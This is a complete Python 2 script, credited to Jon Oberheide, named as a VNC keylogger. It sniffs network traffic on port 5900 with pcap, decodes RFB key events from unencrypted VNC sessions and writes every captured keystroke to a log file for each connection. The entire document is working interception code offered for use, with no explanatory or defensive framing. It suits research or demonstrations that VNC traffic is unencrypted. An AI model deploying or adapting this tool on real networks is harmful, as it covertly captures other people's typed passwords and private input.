#!/usr/bin/env python # vnclogger.py - VNC Keylogger # Jon Oberheide # http://jon.oberheide.org import sys, time, signal, getopt, socket import dpkt, pcap, event DEVICE = 'eth0' FILTER = 'port 5900' translate = { 0x0021:'!', 0x0022:'"', 0x0023:'#', 0x0024:'$', 0x0025:'%', 0x0026:'^', 0x0027:'\'', 0x0028:'(', 0x0029:')', 0x002a:'*', 0x002b:'+', 0x002c:',', 0x002d:'-', 0x002e:'.', 0x002f:'/', 0x0030:'0', 0x0031:'1', 0x0032:'2', 0x0033:'3', 0x0034:'4', 0x0035:'5', 0x0036:'6', 0x0037:'7', 0x0038:'8', 0x0039:'9', 0x003a:':', 0x003b:';', 0x003c:'<', 0x003d:'=', 0x003e:'>', 0x003f:'?', 0x0040:'@', 0x0041:'A', 0x0042:'B', 0x0043:'C', 0x0044:'D', 0x0045:'E', 0x0046:'F', 0x0047:'G', 0x0048:'H', 0x0049:'I', 0x004a:'J', 0x004b:'K', 0x004c:'L', 0x004d:'M', 0x004e:'N', 0x004f:'O', 0x0050:'P', 0x0051:'Q', 0x0052:'R', 0x0053:'S', 0x0054:'T', 0x0055:'U', 0x0056:'V', 0x0057:'W', 0x0058:'X', 0x0059:'Y', 0x005a:'Z', 0x005b:'[', 0x005c:'\\', 0x005d:']', 0x005e:'^', 0x005f:'_', 0x0060:'`', 0x0061:'a', 0x0062:'b', 0x0063:'c', 0x0064:'d', 0x0065:'e', 0x0066:'f', 0x0067:'g', 0x0068:'h', 0x0069:'i', 0x006a:'j', 0x006b:'k', 0x006c:'l', 0x006d:'m', 0x006e:'n', 0x006f:'o', 0x0070:'p', 0x0071:'q', 0x0072:'r', 0x0073:'s', 0x0074:'t', 0x0075:'u', 0x0076:'v', 0x0077:'w', 0x0078:'x', 0x0079:'y', 0x007a:'z', 0x007b:'{', 0x007c:'|', 0x007d:'}', 0x007e:'~', 0xff08:'', 0xff09:'', 0xff0a:'', 0xff0b:'', 0xff0d:'', 0xff13:'', 0xff14:'', 0xff15:'', 0xff1b:'', 0xffff:'', 0xff50:'', 0xff51:'', 0xff52:'', 0xff53:'', 0xff54:'', 0xff55:'', 0xff55:'', 0xff56:'', 0xff56:'', 0xff57:'', 0xff58:'', 0xffe1:'', 0xffe2:'', 0xffe3:'', 0xffe4:'', 0xffe5:'', 0xffe6:'', 0x0020:'' } class VncLogger(object): def __init__(self): self.state = {} device = DEVICE filter = FILTER opts, args = getopt.getopt(sys.argv[1:], 'i:h') for o, a in opts: if o == '-i': device = a else: self.usage() if args: filter = ' '.join(args) try: self.pc = pcap.pcap(device) self.pc.setnonblock(True) self.pc.setfilter(filter) except OSError: print >> sys.stderr, 'error: root privileges needed' sys.exit(1) self.decode = { pcap.DLT_LOOP:dpkt.loopback.Loopback, pcap.DLT_NULL:dpkt.loopback.Loopback, pcap.DLT_EN10MB:dpkt.ethernet.Ethernet }[self.pc.datalink()] event.read(self.pc, self.dispatch) event.signal(signal.SIGHUP, self.cleanup) event.signal(signal.SIGINT, self.cleanup) event.signal(signal.SIGTERM, self.cleanup) print 'listening on %s: %s' % (self.pc.name, self.pc.filter) def usage(self): print >> sys.stderr, 'usage: %s [-i device] [pattern]' % sys.argv[0] sys.exit(1) def dispatch(self): for ts, buf in self.pc.readpkts(): try: pkt = self.decode(buf) self.parse(pkt) except: continue return True def parse(self, pkt): ip = pkt.data tcp = ip.data rfb = dpkt.rfb.RFB(tcp.data) if rfb.type != dpkt.rfb.CLIENT_KEY_EVENT: return if len(rfb.data) != dpkt.rfb.KeyEvent.__hdr_len__: return keyevent = dpkt.rfb.KeyEvent(rfb.data) if keyevent.down_flag == 0: return src, dst = socket.inet_ntoa(ip.src), socket.inet_ntoa(ip.dst) conn = '%s:%d-%s:%d' % (src, tcp.sport, dst, tcp.dport) if conn not in self.state: print '%s: vnc connection established (%s)' % (time.time(), conn) self.state[conn] = open('%s-%d' % (conn, time.time()), 'w') if keyevent.key in translate: keyval = translate[keyevent.key] else: keyval = 'unknown (%d)' % keyevent.key output = '%s: %s\n' % (time.ctime(), keyval) self.state[conn].write(output) def cleanup(self): for f in self.state.itervalues(): f.close() nrecv, ndrop, nifdrop = self.pc.stats() print '\n%d packets received by filter' % nrecv print '%d packets dropped by kernel' % ndrop event.abort() if __name__ == '__main__': event.init() vnc = VncLogger() event.dispatch()